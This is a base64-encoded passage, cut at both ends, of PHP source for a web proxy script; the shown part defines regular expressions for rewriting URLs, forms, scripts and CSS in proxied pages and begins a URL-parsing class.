tcXFxcXSIpKj8ifFwnKD86W15cJ118W1xcXFxdXCcpKj9cJyc7DQokcmVnc2VnPSdcLyg/OlteXC9dfFtcXFxcXVwvKSo/XC8nOw0KDQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoKD86eyRxdW90ZXNlZ318eyRqc3ZhcnNlY3R9fCkpXCkpPyI7DQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoeyRhbnlzcGFjZX0oPzp7JHF1b3Rlc2VnfXx7JGpzdmFyc2VjdH18KSkoPzp7JGFueXNwYWNlfSx7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKSp7JGFueXNwYWNlfVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KLy8kanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OlteXChcKVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVwpKT8oPzpcWyg/OlteXFtcXVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVxdKT8iOw0KLy8kanN2YXJvYmo9Jyg/OlthLXpBLVowLTlcLl9cKFwpXFtcXVwrXC1dKyknOw0KJGpzdmFyc2VjdD0nW2EtekEtWjAtOV9cJF0oPzpbYS16QS1aMC05XCRcLl9cL1xbXF1cKy1dKlthLXpBLVowLTlfXC9cXV0pPyc7DQokanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KJGpzdmFyb2JqPSJ7JGpzb2Jqc2VjdH0oPzpcLnskanNvYmpzZWN0fSkqIjsNCi8vJGpzcXVvdGVyZWc9IigoPzooPzp7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskYW55c3BhY2V9XCspKil7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskanVzdHNwYWNlfSg/PVs7XH1cblxyXSkpIjsgIyBIVUg/DQokanNxdW90ZXNlY3Q9Iig/OnskYW55c3BhY2V9eyRxdW90ZXNlZ318eyRqc3Zhcm9ian0pKSI7DQokanNxdW90ZXJlZz0ieyRqc3F1b3Rlc2VjdH0oPzpcK3skanNxdW90ZXNlY3R9KSoiOw0KDQovLyRub3Rqc3ZhcnNlY3Q9J1teYS16QS1aMC05XC5fXFtcXVwrLV0nOw0KLy8kbm90anN2YXJzZWN0PSdbXmEtekEtWjAtOVwuX1xbXF1cL10nOw0KJG5vdGpzdmFyc2VjdD0nW15hLXpBLVowLTlcLl9cW1xdXSc7DQoNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfVs7XH1cblxyXCdcIl0pIjsNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfSg/Ols7XH1dfHskbm90b3BlcmFuZHN9W1xuXHJdKSkiOw0KJGpzZW5kPSIoPz17JGp1c3RzcGFjZX0oPzpbO1x9XG5ccl18eyRub3RvcGVyYW5kc31bXG5ccl0pKSI7DQokbm90anNlbmQ9Iig/IXskanVzdHNwYWNlfSg/Ols7XH1cblxyXXx7JG5vdG9wZXJhbmRzfVtcblxyXSkpIjsNCiRqc2JlZ2luPSIoKD86Wztce1x9XG5cclwoXCldfFtcIT1dPSl7JGFueXNwYWNlfSkiOw0KLy8kanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XG5cclwoXCk9XCtcLVwvXCpdKXskYW55c3BhY2V9KSI7DQokanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XChcKT1cK1wtXC9cKl0peyRqdXN0c3BhY2V9KSI7DQoNCiRodG1sbm9xdW90PScoPzpbXiJcJ1xcXFxdW14+IF0qKSc7DQokaHRtbG5vcXVvdG5vcW09Jyg/OlteXD8iXCdcXFxcXVteXD8+IF0qKSc7DQokaHRtbHJlZz0iKHskcXVvdGVzZWd9fHskaHRtbG5vcXVvdH0pKSI7DQokeG1saHR0cHJlcT0iKD86WE1MSHR0cFJlcXVlc3R7JGFueXNwYWNlfSg/OlwoeyRhbnlzcGFjZX1cKXwpfEFjdGl2ZVhPYmplY3R7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX1bXlwpXStcLlhNTEhUVFBbJ1wiXXskYW55c3BhY2V9XCkpKD89OykiOw0KJGpzbmV3b2JqPSIoPzp7JGFueXNwYWNlfW5ld3skcGx1c3NwYWNlfXx7JGFueXNwYWNlfSkiOw0KJGZvcm1ub3Rwb3N0PSIoPzooPyFtZXRob2R7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Oid8XCIpP3Bvc3QpW14+XSkiOw0KJGZyYW1ldGFyZ2V0cz0nXyg/OnRvcHxwYXJlbnR8c2VsZiknOw0KDQokanNfc3RyaW5nX21ldGhvZHM9Jyg/OmFuY2hvcnxiaWd8Ymxpbmt8Ym9sZHxjaGFyQXR8Y2hhckNvZGVBdHxjb25jYXR8Zml4ZWR8Zm9udGNvbG9yfGZvbnRzaXplfGZyb21DaGFyQ29kZXxpbmRleE9mfGl0YWxpY3N8bGFzdEluZGV4T2Z8bGlua3xtYXRjaHxyZXBsYWNlfHNlYXJjaHxzbGljZXxzbWFsbHxzcGxpdHxzdHJpa2V8c3VifHN1YnN0cnxzdWJzdHJpbmd8c3VwfHRvTG93ZXJDYXNlfHRvVXBwZXJDYXNlfHRvU291cmNlfHZhbHVlT2YpJzsNCiRqc19zdHJpbmdfYXR0cnM9Jyg/OmNvbnN0cnVjdG9yfGxlbmd0aHxwcm90b3R5cGUpJzsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBKQVZBU0NSSVBUIFBBUlNJTkcge3t7DQoNCiRqc19yZWdleHBfYXJyYXlzPWFycmF5KA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oeyRqc2hvb2tnZXRhdHRyc30peyRhbnlzcGFjZX1cKz0vaSIsJ1wxXDIuXDM9Jy5DT09LX1BSRUYuJy5nZXRBdHRyKFwyLC9cMy8pKycpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oKHskanNob29rYXR0cnN9KXskYW55c3BhY2V9PSg/OnskYW55c3BhY2V9eyRqc3Zhcm9ian17JGFueXNwYWNlfT0pKnskYW55c3BhY2V9KSgoPyFcPSkoeyRub3Rqc2VuZH0uKSopeyRqc2VuZH0vaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLC9cNC8sXDUpJyksDQoJYXJyYXkoMSwyLCIveyRqc2JlZ2lucmlnaHR9KHskanN2YXJvYmp9KVwuKHskanNob29rZ2V0YXR0cnN9KShbXlwuPWEtejAtOV9cW1xdXHRcclxuXXxcLnskanNfc3RyaW5nX21ldGhvZHN9XCh8XC57JGpzX3N0cmluZ19hdHRyc317JG5vdGpzdmFyc2VjdH0pL2kiLCdcMScuQ09PS19QUkVGLicuZ2V0QXR0cihcMiwvXDMvKVw0JyksDQoNCglhcnJheSgxLDIsIi8oW15hLXowLTldeyRqc21ldGhvZHN9eyRhbnlzcGFjZX1cKCkoW14pXSopXCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFwzKSknKSwNCglhcnJheSgxLDIsIi8oW15hLXowLTldKWV2YWx7JGFueXNwYWNlfVwoKHskYW55c3BhY2V9eyRqc3Zhcm9ian0pXCkvaSIsJ1wxZXZhbCgnLkNPT0tfUFJFRi4nLnBhcnNlX2FsbF9odG1sKFwyLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKSknKSwNCg0KCWFycmF5KDEsMiwiL3skanNiZWdpbn1cLmFjdGlvbnskYW55c3BhY2V9PS9pIiwnXDEuJy5DT09LX1BSRUYuJy52YWx1ZT0nKSwNCgkvL2FycmF5KDEsMiwiL3skanNiZWdpbn0oXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oXCJ8JykoeyRqc2F0dHJzfSkoXFwyKXskYW55c3BhY2V9LHskYW55c3BhY2V9KSguKj8peyRqc2VuZH0vaSIsJ1wxXDInLkNPT0tfUFJFRi4nLnN1cnJvZ2FmeV91cmwoXDYpJyksDQoJLy9hcnJheSgxLDIsIi97JGpzYmVnaW59KFwuc2V0QXR0cmlidXRleyRhbnlzcGFjZX1cKHskYW55c3BhY2V9KFwifCcpKHskanNhdHRyc30pKFxcMil7JGFueXNwYWNlfSx7JGFueXNwYWNlfSkoLio/KXskanNlbmR9L2kiLCdcMVwyJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFw2KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oeyRqc3F1b3RlcmVnfSl7JGFueXNwYWNlfSx7JGFueXNwYWNlfSh7JGpzcXVvdGVyZWd9KXskYW55c3BhY2V9XCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLFwzLFw0KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oW15cIHs+XHRcclxuPTtdK3skYW55c3BhY2V9PSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCglhcnJheSgxLDIsIi97JGpzYmVnaW59KHJldHVybnskcGx1c3NwYWNlfSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCgkoRU5DUllQVF9VUkxTP2FycmF5KDEsMiwiL3skanNiZWdpbn0oKD86W15cKSBce1x9XSooPzpcKVwuezAsMX0pKSspKFwuc3VibWl0eyRhbnlzcGFjZX1cKFwpKXskanNlbmR9L2kiLCdcMXZvaWQoKFwyLm1ldGhvZD09InBvc3QiP251bGw6XDJcMykpOycpOm51bGwpLA0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBIVE1ML0NTUyBQQVJTSU5HIHt7ew0KDQokcmVnZXhwX2FycmF5cz1hcnJheSgNCgkndGV4dC9odG1sJyA9PiBhcnJheSgNCgkJIyMgZG8gSFRNTCBiYXNlZCBqYXZhc2NyaXB0IHN0dWZmICMgT0xEV0FZDQoJCSNhcnJheSgxLDEsIi8oIG9uW2Etel17MywyMH17JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzooXCIpKFteXCJdKykoXCIpfCgnKShbXiddKykoJykpL2kiLCdcMVwyXDU7XDNcNjtcNFw3JyksICMgT0xEV0FZDQoJCSNhcnJheSgxLDIsIi8oPHNjcmlwdCg/Oig/Oig/ISBzcmN7JGFueXNwYWNlfT0pW14+XSkqKT4pKFtcc1xTXSo/KSg/OnskYW55c3BhY2V9KD86XC9cLyk/eyRhbnlzcGFjZX0tLT57JGFueXNwYWNlfSk/PFwvc2NyaXB0Pi9pIiwnXDFcMjsnLkNPT0tfUFJFRi4nLnB1cmdlKCk7Ly8tLT48L3NjcmlwdD4nKSwgIyBPTERXQVkNCg0KCQkjIHRhcmdldCBhdHRyDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFP2FycmF5KDEsMSwiLyg8W2Etel1bXj5dKnskYW55c3BhY2V9KSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/OnskZnJhbWV0YXJnZXRzfXwoJyl7JGZyYW1ldGFyZ2V0c30nfChcIil7JGZyYW1ldGFyZ2V0c31cIikvaSIsJ1wxJyk6bnVsbCksDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9DSElMRD9hcnJheSgxLDEsIi8oPFthLXpdW14+XSp7JGFueXNwYWNlfSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzpfdG9wfCgnKV90b3AnfChcIilfdG9wXCIpL2kiLCdcMVwyXDMnLkNPT0tfUFJFRi4nX3RvcFwyXDMnKTpudWxsKSwNCg0KCQkjIGRlYWwgd2l0aCA8Zm9ybT5zDQoJCWFycmF5KDEsMSwiLyg8Zm9ybXskZm9ybW5vdHBvc3R9Kj8pKD86eyRwbHVzc3BhY2V9YWN0aW9ueyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9KSh7JGZvcm1ub3Rwb3N0fSopPi9pIiwnXDFcMz48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSIiIGNsYXNzPSInLkNPT0tfUFJFRi4nIiB2YWx1ZT1cMiAvPicpLA0KCQlhcnJheSgyLDEsIi88aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJcIiBjbGFzcz1cIiIuQ09PS19QUkVGLiJcIiB2YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfSBcLz4vaSIsMSxmYWxzZSksDQoJCWFycmF5KDEsMSwnLyg8Zm9ybVtePl0qPyk+L2knLCdcMSB0YXJnZXQ9Il9zZWxmIicuKEVOQ1JZUFRfVVJMUz8nIG9uc3VibWl0PSJyZXR1cm4gJy5DT09LX1BSRUYuJy5mb3JtX2VuY3J5cHQodGhpcyk7Ij4nOic+JykpLA0KCQlhcnJheSgxLDEsIi8oPGZvcm17JGZvcm1ub3Rwb3N0fSspPig/ITwhLS0iLkNPT0tfUFJFRi4nLS0+KS9pJywnXDEgdGFyZ2V0PSJfcGFyZW50Ij48IS0tJy5DT09LX1BSRUYuJy0tPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IiIgdmFsdWU9Il8iPicpLA0KDQoJCSMgZGVhbCB3aXRoIHRoZSBmb3JtIGJ1dHRvbiBmb3IgZW5jcnlwdGVkIFVSTHMNCgkJKEVOQ1JZUFRfVVJMUz9hcnJheSgxLDEsIi8oPGlucHV0W14+XSo/IHR5cGV7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Olwic3VibWl0XCJ8J3N1Ym1pdCd8c3VibWl0KVtePl0qP1teXC9dKSgoPzpbIF0/W1wvXSk/PikvaSIsJ1wxIG9uY2xpY2s9IicuQ09PS19QUkVGLidfZm9ybV9idXR0b249dGhpcy5uYW1lOyJcMicpOm51bGwpLA0KDQoJCSMgcGFyc2UgYWxsIHRoZSBvdGhlciB0YWdzDQoJCWFycmF5KDIsMSwiLzxbYS16XVtePl0qeyRwbHVzc3BhY2V9eyRodG1sYXR0cnN9eyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDIpLA0KCQlhcnJheSgyLDEsIi88cGFyYW1bXj5dKnskcGx1c3NwYWNlfW5hbWV7JGFueXNwYWNlfT17JGFueXNwYWNlfVtcIiddP21vdmllW14+XSp7JHBsdXNzcGFjZX12YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxKSwNCgkJYXJyYXkoMiwyLCIvPHNjcmlwdFtePl0qP3skcGx1c3NwYWNlfXNyY3skYW55c3BhY2V9PXskYW55c3BhY2V9KFtcIiddKXskYW55c3BhY2V9KC4qP1teXFxcXF0pXFwxW14+XSo+eyRhbnlzcGFjZX08XC9zY3JpcHQ+L2kiLDIpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPGEoPzpyZWEpP3skcGx1c3NwYWNlfVtePl0qaHJlZnskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxLGZhbHNlLE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOm51bGwpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPFtpXT9mcmFtZXskcGx1c3NwYWNlfVtePl0qc3JjeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDEsZmFsc2UsUEFHRVRZUEVfRlJBTUVEX0NISUxEKTpudWxsKQ0KCSksDQoNCgkndGV4dC9jc3MnID0+IGFycmF5KA0KCQlhcnJheSgyLDEsIi9bXmEtel11cmxcKHskYW55c3BhY2V9KCYoPzpxdW90fCMoPzozWzQ5XSkpO3xcInwnKSguKj9bXlxcXFxdKShcXDEpeyRhbnlzcGFjZX1cKS9pIiwyKSwNCgkJYXJyYXkoMiwxLCIvW15hLXpddXJsXCh7JGFueXNwYWNlfSgoPyEmKD86cXVvdHwjKD86M1s0OV0pKTspW15cIidcXFxcXS4qP1teXFxcXF0peyRhbnlzcGFjZX1cKS9pIiwxKSwNCgkJYXJyYXkoMiwxLCIvQGltcG9ydHskcGx1c3NwYWNlfSgmKD86cXVvdHwjKD86M1s0OV0pKTt8XCJ8JykoLio/W15cXFxcXSkoXFwxKTsvaSIsMikNCgkpLA0KDQoJJ2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMsDQoJJ3RleHQvamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMNCik7DQoNCiMgfX19DQoNCiMgUkVHRVhQUzogSU5TRVJUIEpBVkFTQ1JJUFQgUkVHRVhQUyB7e3sNCg0KaWYoUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwcycgfHwgUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwc19mcmFtZWQnKXsgPz4vLzxzY3JpcHQ+DQo8P3BocCBlY2hvKGNvbnZlcnRhcnJheV90b19qYXZhc2NyaXB0KCkuKCghZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpPydyZWdleHBfYXJyYXlzWyJ0ZXh0L2h0bWwiXS5wdXNoKEFycmF5KDEsLzxbXFxcXC9dPyhlbWJlZHxwYXJhbXxvYmplY3QpW14+XSo+L2lnLCIiKSk7JzpudWxsKSk7ID8+DQovLzwvc2NyaXB0Pjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFNFUlZFUi1TSURFIE9OTFkgUEFSU0lORyB7e3sNCg0KYXJyYXlfcHVzaCgkcmVnZXhwX2FycmF5c1sndGV4dC9odG1sJ10sDQoJYXJyYXkoMiwxLCIvPG1ldGFbXj5dKnskcGx1c3NwYWNlfWh0dHAtZXF1aXZ7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpcmVmcmVzaFxcMVtePl0qIGNvbnRlbnR7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpWyAwLTlcLjtcdFxcclxuXSp1cmw9KC4qPylcXDJbXj5dKj4vaSIsMyx0cnVlLE5FV19QQUdFVFlQRV9GUkFNRURfUEFHRSksDQoJYXJyYXkoMSwxLCIvKDxtZXRhW14+XSp7JHBsdXNzcGFjZX1odHRwLWVxdWl2eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0oW1wiJ118KXNldC1jb29raWVcXDJbXj5dKiBjb250ZW50eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0pKFtcIiddKSguKj9bXlxcXFxdKXskYW55c3BhY2V9XFwzL2kiLCdcMVwzJy5QQUdFQ09PS19QUkVGSVguJ1w0XDMnKQ0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBDTEVBTlVQIHt7ew0KDQojIG5lZWRlZCBsYXRlciwgYnV0ICRhbnlzcGFjZSBhbmQgJGh0bWxyZWcgYXJlIHVuc2V0IGJlbG93DQpkZWZpbmUoJ0JBU0VfUkVHRVhQJywiPGJhc2VbXj5dKiBocmVmeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9W14+XSo+Iik7DQpkZWZpbmUoJ0VORF9PRl9TQ1JJUFRfVEFHJywiKD86eyRhbnlzcGFjZX0oPzpcL1wvKT97JGFueXNwYWNlfS0tPnskYW55c3BhY2V9KT88XC9zY3JpcHQ+Iik7DQpkZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsIiggb25bYS16XXszLDIwfT0oPzpcIlteXCJdK1wifCdbXiddKyd8W15cIicgPl1bXiA+XStbXlwiJyA+XSl8IGhyZWY9KD86XCJ7JGFueXNwYWNlfWphdmFzY3JpcHQ6W15cIl0rXCJ8J3skYW55c3BhY2V9amF2YXNjcmlwdDpbXiddKyd8eyRhbnlzcGFjZX1qYXZhc2NyaXB0OlteXCInID5dW14gPl0rW15cIicgPl0pKSIpOw0KDQp1bnNldCgkanNhdHRycywkanNob29rYXR0cnMsJGpzbWV0aG9kcywkanNsb2Nob3N0LCRodG1sYXR0cnMsDQogICAgICAkYW55c3BhY2UsJHBsdXNzcGFjZSwkb3BlcmFuZHMsJG5vdG9wZXJhbmRzLA0KICAgICAgJHF1b3Rlc2VnLCRyZWdzZWcsDQogICAgICAkanN2YXJzZWN0LCRqc29ianNlY3QsJGpzdmFyb2JqLCRqc3F1b3Rlc2VjdCwkanNxdW90ZXJlZywNCiAgICAgICRub3Rqc3ZhcnNlY3QsDQogICAgICAkanNlbmQsJG5vdGpzZW5kLCRqc2JlZ2luLCRqc2JlZ2lucmlnaHQsDQogICAgICAkaHRtbG5vcXVvdCwkaHRtbG5vcXVvdG5vcW0sJGh0bWxyZWcsJHhtbGh0dHByZXEsJGpzbmV3b2JqLCRmb3Jtbm90cG9zdCwkZnJhbWV0YXJnZXRzLA0KICAgICAgJGpzX3N0cmluZ19tZXRob2RzLCRqc19zdHJpbmdfYXR0cnMsDQogICAgICAkanNfcmVnZXhwX2FycmF5cw0KKTsNCg0KIyB9fX0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlMge3t7DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBBVVJMIENMQVNTIHt7ew0KDQojIGNsYXNzIGZvciBVUkwNCmNsYXNzIGF1cmx7DQoJdmFyICR1cmwsJHRvcHVybCwkbG9ja2VkOw0KCXZhciAkcHJvdG8sJHVzZXJwYXNzLCRzZXJ2ZXJuYW1lLCRwb3J0dmFsLCRwYXRoLCRmaWxlLCRxdWVyeSwkbGFiZWw7DQoNCglmdW5jdGlvbiBhdXJsKCR1cmwsJHRvcHVybD1udWxsKXsNCg0KCQlpZihzdHJsZW4oJHVybCk+TUFYSU1VTV9VUkxfTEVOR1RIKSAkdGhpcy0+dXJsPW51bGw7DQoJCWVsc2UgJHRoaXMtPnVybD1wcmVnX3JlcGxhY2UoJy8mIyhbMC05XSspOy9lJywnY2hyKFwxKScsdHJpbShzdHJfcmVwbGFjZSgnJmFtcDsnLCcmJyxzdHJfcmVwbGFjZShjaHIoMTMpLG51bGwsc3RyX3JlcGxhY2UoY2hyKDEwKSxudWxsLCR1cmwpKSkpKTsNCgkJJHRoaXMtPnRvcHVybD0kdG9wdXJsOw0KDQoJCSR0aGlzLT5kZXRlcm1pbmVfbG9ja2VkKCk7DQoJCWlmKCR0aGlzLT5sb2NrZWQpIHJldHVybjsNCg0KCQkkdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXByZWdfbWF0Y2goVVJMUkVHLCR0aGlzLT51cmwpKXsNCgkJCSR1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKCR0aGlzLT50b3B1cmw9PW51bGwpICR0aGlzLT51cmw9J2h0dHA6Ly8nLigoJHRoaXMtPnVybHswfT09JzonIHx8ICR0aGlzLT51cmx7MH09PScvJyk/c3Vic3RyKCR0aGlzLT51cmwsMSk6JHRoaXMtPnVybCkuKHN0cnBvcygkdGhpcy0+dXJsLCcvJykhPT1mYWxzZT9udWxsOicvJyk7DQoJCQkjaWYoJHRoaXMtPnRvcHVybD09bnVsbCkgJHRoaXMtPnVybD0naHR0cDovLycucHJlZ19yZXBsYWNlKCIvXjo/XC97MCwyfS8iLCIiLCR0aGlzLT51cmwpLihzdHJwb3MoJHRoaXMtPnVybCwnLycpIT09ZmFsc2U/bnVsbDonLycpOw0KCQkJZWxzZXsNCgkJCQkkbmV3dXJsPSR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpLiR0aGlzLT5nZXRfZmllbGRyZXEoMiwkdGhpcy0+dG9wdXJsLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPnRvcHVybC0+Z2V0X3NlcnZlcm5hbWUoKS4oKCR0aGlzLT50b3B1cmwtPmdldF9wb3J0dmFsKCkhPTgwICYmICgkdGhpcy0+dG9wdXJsLT5nZXRfcHJvdG8oKT09J2h0dHBzJz8kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyc6Jy4kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpOm51bGwpOw0KCQkJCWlmKCR0aGlzLT51cmx7MH0hPScvJykgJG5ld3VybC49JHRoaXMtPnRvcHVybC0+Z2V0X3BhdGgoKTsNCgkJCQkkdGhpcy0+dXJsPSRuZXd1cmwuJHRoaXMtPnVybDsNCgkJCX0NCgkJfQ0KDQoJCSR0aGlzLT5zZXRfcHJvdG8oKCR1cmx3YXN2YWxpZCB8fCAkdGhpcy0+dG9wdXJsPT1udWxsP3ByZWdfcmVwbGFjZSgnL14oW146XC9dKikuKiQvJywnXDEnLCR0aGlzLT51cmwpOiR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpKSk7DQoJCSR0aGlzLT5zZXRfdXNlcnBhc3MocHJlZ19yZXBsYWNlKFVSTFJFRywnXDInLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9zZXJ2ZXJuYW1lKHByZWdfcmVwbGFjZShVUkxSRUcsJ1wzJywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcG9ydHZhbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcNCcsJHRoaXMtPnVybCkpOw0KCQkkdGhpcy0+c2V0X3BhdGgocHJlZ19yZXBsYWNlKFVSTFJFRywnXDUnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9maWxlKHByZWdfcmVwbGFjZShVUkxSRUcsJ1w2JywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcXVlcnkocHJlZ19yZXBsYWNlKFVSTFJFRywnXDcnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9sYWJlbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcOCcsJHRoaXMtPnVybCkpOw0KDQoJCWlmKCEkdGhpcy0+bG9ja2VkICYmICFwcmVnX21hdGNoKFVSTFJFRywkdGhpcy0+dXJsKSkgaGF2b2soNywkdGhpcy0+dXJsKTsgIyoNCgl9DQoNCglmdW5jdGlvbiBkZXRlcm1pbmVfbG9ja2VkKCl7ICR0aGlzLT5sb2NrZWQ9cHJlZ19tYXRjaChBVVJMX0xPQ0tfUkVHRVhQLCR0aGlzLT51cmwpPjA7IH0gIyoNCg0KCWZ1bmN0aW9uIGdldF9maWVsZHJlcSgkZmllbGRubywkdmFsdWUpew0KCQkkZmllbGRyZXFzPWFycmF5KDIgPT4gJzovLycuKCR2YWx1ZSE9bnVsbD8iJHZhbHVlQCI6bnVsbCksIDQgPT4gKCR2YWx1ZSE9bnVsbCAmJiBpbnR2YWwoJHZhbHVlKSE9ODA/JzonLmludHZhbCgkdmFsdWUpOm51bGwpLCA3ID0+ICgkdmFsdWUhPW51bGw/Ij8kdmFsdWUiOm51bGwpLCA4ID0+ICgkdmFsdWUhPW51bGw/IiMkdmFsdWUiOm51bGwpKTsNCgkJaWYoIWFycmF5X2tleV9leGlzdHMoJGZpZWxkbm8sJGZpZWxkcmVxcykpIHJldHVybiAoZW1wdHkoJHZhbHVlKT9udWxsOiR2YWx1ZSk7DQoJCWVsc2UgcmV0dXJuICRmaWVsZHJlcXNbJGZpZWxkbm9dOw0KCX0NCg0KCWZ1bmN0aW9uIHNldF9wcm90bygkcHJvdG89JycpeyBpZigkdGhpcy0+bG9ja2VkKSByZXR1cm47ICR0aGlzLT5wcm90bz0oIWVtcHR5KCRwcm90byk/JHByb3RvOidodHRwJyk7IH0NCglmdW5jdGlvbiBnZXRfcHJvdG8oKXsgcmV0dXJuICR0aGlzLT5wcm90bzsgfQ0KCWZ1bmN0aW9uIGdldF91c2VycGFzcygpeyByZXR1cm4gJHRoaXMtPnVzZXJwYXNzOyB9DQoJZnVuY3Rpb24gc2V0X3VzZXJwYXNzKCR1c2VycGFzcz1udWxsKXsgJHRoaXMtPnVzZXJwYXNzPSR1c2VycGFzczsgfQ0KCWZ1bmN0aW9uIGdldF9zZXJ2ZXJuYW1lKCl7IHJldHVybiAkdGhpcy0+c2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIHNldF9zZXJ2ZXJuYW1lKCRzZXJ2ZXJuYW1lPW51bGwpeyAkdGhpcy0+c2VydmVybmFtZT0kc2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIGdldF9wb3J0dmFsKCl7IHJldHVybiAoZW1wdHkoJHRoaXMtPnBvcnR2YWwpPygkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JzQ0Myc6JzgwJyk6JHRoaXMtPnBvcnR2YWwpOyB9DQoJZnVuY3Rpb24gc2V0X3BvcnR2YWwoJHBvcnQ9bnVsbCl7ICR0aGlzLT5wb3J0dmFsPXN0cnZhbCgoaW50dmFsKCRwb3J0KSE9ODApPyRwb3J0Om51bGwpOyB9DQoJZnVuY3Rpb24gZ2V0X3BhdGgoKXsNCgkJaWYoc3RycG9zKCR0aGlzLT5wYXRoLCcvLi4vJykhPT1mYWxzZSkgJHRo